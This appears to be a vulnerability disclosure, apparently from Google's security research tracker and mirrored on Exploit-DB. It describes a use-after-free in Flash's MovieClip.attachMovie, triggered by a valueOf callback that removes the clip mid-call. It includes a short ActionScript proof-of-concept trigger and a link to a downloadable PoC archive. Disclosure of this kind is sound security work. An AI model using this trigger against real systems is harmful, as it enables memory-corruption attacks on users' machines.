Source: https://code.google.com/p/google-security-research/issues/detail?id=571
There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.
A minimal PoC is as follows:
n ={valueOf : func};
function func(){
_global.mc.removeMovieClip();
// fix heap here;
}
this.createEmptyMovieClip("mc", 1);
_global.mc = mc;
mc.attachMovie("myResetButton","newResetButton", n);
A sample swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39055.zip
